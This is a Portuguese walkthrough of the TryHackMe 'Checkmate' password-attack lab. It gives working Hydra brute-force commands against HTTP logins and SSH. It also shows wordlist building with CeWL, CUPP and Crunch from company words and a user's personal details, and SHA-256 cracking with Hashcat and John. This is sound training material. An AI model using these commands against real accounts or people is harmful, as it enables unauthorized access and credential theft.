Checkmate - Quebrando senhas!
1. Introdução
Na room Checkmate, Marco Bianchi é um administrador de sistemas que implantou vários serviços internos, como firewall, portal de funcionários, rede social e acesso SSH.
O problema é que ele reutilizou senhas fracas, previsíveis e baseadas em padrões.
Nosso objetivo é identificar essas falhas passando por cinco níveis diferentes:
Credencial padrão
↓
Palavras da empresa
↓
Dados pessoais
↓
Hash SHA-256
↓
Padrão previsível de senha
↓
Acesso SSH
Este walkthrough foi realizado em um ambiente autorizado do TryHackMe. Use as técnicas apenas em laboratórios, sistemas próprios ou ambientes para os quais exista autorização explícita.
O alvo principal da room era:
10.64.181.140
2. Level 1 - Credencial padrão
O primeiro serviço era um firewall em:
firewall.thm:5001
A própria página já indicava o usuário administrativo, então utilizei:
admin
A senha era extremamente simples. Mesmo sem adivinhá-la manualmente, poderíamos testar uma pequena lista de senhas comuns com Hydra.
hydra -l admin \
-P /root/10-million-password-list-top-1000.txt \
-f -V -t 4 \
-s 5001 \
10.64.181.140 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials."
Principais opções
| Opção | Função |
|---|---|
-l admin |
Define um único usuário |
-P arquivo |
Usa uma wordlist de senhas |
-f |
Para após encontrar uma credencial válida |
-V |
Mostra as tentativas |
-t 4 |
Usa quatro tarefas simultâneas |
-s 5001 |
Define a porta do serviço |
A expressão:
Invalid credentials.
funciona como condição de falha. Enquanto essa mensagem aparecer na resposta, o Hydra sabe que a tentativa não funcionou.
Aprendizado
Credenciais padrão ou extremamente comuns continuam sendo um dos primeiros pontos que devem ser verificados em uma avaliação de segurança.
3. Level 2 - Criando uma wordlist com CeWL
O segundo serviço era o portal de funcionários:
jobs.thm:5002
A dica dizia que Marco utilizava palavras comuns da empresa como senha.
Em vez de usar uma lista genérica enorme, podemos coletar palavras diretamente do site com o CeWL.
cewl -d 2 -m 5 --lowercase -w keywords.txt http://10.64.181.140:5002
Opções utilizadas
| Opção | Função |
|---|---|
-d 2 |
Segue links até dois níveis |
-m 5 |
Coleta palavras com pelo menos cinco caracteres |
--lowercase |
Converte tudo para minúsculas |
-w keywords.txt |
Salva o resultado no arquivo |
Na VM da room, o CeWL estava tentando usar uma instalação do Ruby gerenciada pelo rbenv e apresentou:
cannot load such file -- cewl_lib (LoadError)
Temporariamente, forcei o uso dos binários do sistema:
PATH=/usr/bin:/bin cewl -d 2 -m 5 --lowercase -w keywords.txt http://10.64.181.140:5002
Depois:
wc -l keywords.txt
Resultado:
73 keywords.txt
Agora bastava testar essas palavras como senha do usuário Marco:
hydra -l marco \
-P /root/keywords.txt \
-f -V -t 4 \
-s 5002 \
10.64.181.140 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials."
O Hydra encontrou:
login: marco
password: excellence
Aprendizado
Uma wordlist específica do alvo costuma ser muito mais eficiente do que começar diretamente com milhões de senhas genéricas.
4. Level 3 - Dados pessoais e CUPP
O próximo serviço era a rede social em:
social.thm:5003
A dica dizia para utilizar as informações descobertas anteriormente.
Os dados disponíveis eram:
Full Name: Marco Bianchi
Nickname: marky
Birthdate: 14/02/1995
Esse cenário combina muito bem com o CUPP, que gera possíveis senhas a partir de informações pessoais.
Execute:
cupp -i
E informe:
First Name: Marco
Surname: Bianchi
Nickname: marky
Birthdate (DDMMYYYY): 14021995
A wordlist gerada tinha milhares de combinações:
wc -l marco.txt
9675 marco.txt
Depois, testamos novamente com Hydra:
hydra -l marco \
-P /root/marco.txt \
-f -V -t 4 \
-s 5003 \
10.64.181.140 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials."
Credencial encontrada:
login: marco
password: Bianchi2495
Aprendizado
Nome, sobrenome, apelido e data de nascimento ainda aparecem com frequência em senhas reais. Ferramentas como CUPP automatizam a criação dessas combinações.
5. Level 4 - Identificando o nome original pelo SHA-256
Ainda em social.thm:5003, a plataforma renomeava imagens de perfil usando o SHA-256 do nome original do arquivo.
No HTML da página aparecia:
<img class="avatar-img"
src="/uploads/d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b.png"
alt="Profile">
O hash era:
d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b
Primeiro, salvei o valor:
echo "d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b" > hash.txt
Isso também ajuda a manter os artefatos do teste organizados.
Testando com Hashcat
Como sabemos que o hash é SHA-256:
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
O modo:
-m 1400
corresponde a SHA2-256.
Resultado:
d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b:family
Portanto, o nome original era:
family
Confirmando com John the Ripper
Também podemos validar com John:
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Resultado:
family
Para visualizar resultados já quebrados:
john --show --format=Raw-SHA256 hash.txt
CrackStation
Antes de utilizar ferramentas locais, também é possível consultar serviços como o CrackStation para hashes não sensíveis de laboratório. Nesse caso, ele identificou o SHA-256 e encontrou o mesmo valor: family.
Aprendizado
Hash não é criptografia. Quando o valor original é previsível e aparece em wordlists conhecidas, podemos calcular hashes das palavras candidatas e comparar os resultados.
6. Level 5 - Explorando um padrão previsível
No perfil social, Marco publicou uma dica sobre como criava suas senhas.
O padrão era basicamente:
PalavraDaEmpresa + ano/número + !
Um exemplo seria:
Excellence2024!
Minha primeira tentativa foi gerar todas as combinações numéricas para a palavra Excellence.
crunch 15 15 -t Excellence%%%%! -o level5.txt
O caractere:
%
no Crunch representa um número.
Isso gerou:
10000 level5.txt
Depois:
hydra -l marco -P level5.txt ssh://10.64.181.140
Não funcionou.
O padrão estava correto, mas a palavra-base não era Excellence.
7. Refinando a wordlist
Voltei às palavras coletadas com CeWL.
Como várias palavras pequenas eram genéricas, refiz a coleta exigindo pelo menos oito caracteres:
PATH=/usr/bin:/bin cewl -d 2 -m 8 --lowercase -w keywords.txt http://10.64.181.140:5002
A lista caiu de 73 para aproximadamente 36 palavras.
Agora queríamos gerar senhas neste formato:
Palavra202N!
Em vez de usar o Crunch para criar todas as combinações possíveis de caracteres, usamos um loop sobre as palavras que já havíamos coletado:
while read -r word; do
cap="${word^}"
crunch 1 1 0123456789 | while read -r n; do
echo "${cap}202${n}!"
done
done < keywords.txt > level5.txt
O fluxo fica assim:
security
↓
Security
↓
Security2020!
Security2021!
Security2022!
...
Security2029!
Isso reduz bastante o número de tentativas, pois estamos utilizando duas informações conhecidas:
- palavras relacionadas à empresa;
- o padrão de senha divulgado pelo próprio usuário.
8. Confirmando o SSH
Antes do ataque, vale confirmar se o SSH realmente está disponível na porta padrão:
nmap -p 22 10.64.181.140
Com a porta 22 disponível, executamos:
hydra -l marco -P level5.txt -t 4 ssh://10.64.181.140
Dessa vez:
[22][ssh] host: 10.64.181.140
login: marco
password: Security2024!
A senha final era:
Security2024!
A primeira lista falhou porque a estrutura estava correta, mas a palavra-base estava errada.
9. Fluxo completo da room
Level 1
Credencial padrão
↓
Hydra
↓
acesso ao firewall
Level 2
Website corporativo
↓
CeWL
↓
keywords.txt
↓
Hydra
↓
excellence
Level 3
Nome + apelido + nascimento
↓
CUPP
↓
marco.txt
↓
Hydra
↓
Bianchi2495
Level 4
SHA-256 do nome do arquivo
↓
Hashcat / John
↓
family
Level 5
Postagem revela padrão
↓
CeWL + transformação
↓
wordlist direcionada
↓
Hydra SSH
↓
Security2024!
10. Principais ferramentas
| Ferramenta | Uso na room |
|---|---|
| Hydra | Teste automatizado de credenciais em HTTP e SSH |
| CeWL | Criação de wordlist baseada no conteúdo do site |
| CUPP | Geração de senhas com dados pessoais |
| Hashcat | Ataque de dicionário contra SHA-256 |
| John the Ripper | Validação do hash com wordlist |
| Crunch | Geração de combinações seguindo um padrão |
| Nmap | Confirmação do serviço SSH |
11. O principal aprendizado
A room mostra bem por que ataques de senha não se resumem a jogar a rockyou.txt contra tudo.
O processo mais eficiente foi:
coletar informação
↓
identificar padrão
↓
reduzir possibilidades
↓
criar uma wordlist específica
↓
testar
↓
refinar
Em cada nível utilizamos informações cada vez mais específicas:
- credenciais padrão;
- palavras presentes no ambiente da empresa;
- dados pessoais;
- nomes previsíveis de arquivos;
- padrões divulgados pelo próprio usuário.
No último nível, por exemplo, não precisávamos testar milhões de senhas. Já sabíamos aproximadamente o formato e tínhamos uma pequena lista de palavras relacionadas ao alvo.
Esse é o ponto principal da room: quanto melhor o reconhecimento e a análise do comportamento do usuário, menor pode ser o espaço de busca necessário para encontrar uma senha previsível.
Referência rápida
CeWL
cewl -d 2 -m 5 --lowercase -w keywords.txt http://10.64.181.140:5002
CUPP
cupp -i
Hashcat - SHA-256
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
John
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Crunch
crunch 15 15 -t Excellence%%%%! -o level5.txt
Hydra - HTTP POST
hydra -l marco \
-P keywords.txt \
-f -V -t 4 \
-s 5002 \
10.64.181.140 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials."
Hydra - SSH
hydra -l marco -P level5.txt -t 4 ssh://10.64.181.140
Conclusão
A Checkmate trabalha principalmente a ideia de password profiling: usar informações do próprio ambiente e do comportamento do usuário para criar tentativas muito mais direcionadas.
A sequência da room foi:
default password
→ company keywords
→ personal information
→ hash cracking
→ password pattern
→ SSH
Mais importante do que decorar os comandos é entender por que cada wordlist foi criada e como as informações encontradas em uma etapa reduziram as possibilidades da etapa seguinte.